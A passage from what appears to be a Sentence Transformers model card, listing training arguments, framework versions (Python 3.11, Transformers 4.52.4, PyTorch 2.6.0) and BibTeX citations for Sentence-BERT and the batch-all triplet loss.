  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin
  • router_mapping: {}
  • learning_rate_mapping: {}

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 5.0.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.8.1
  • Datasets: 3.6.0
  • Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}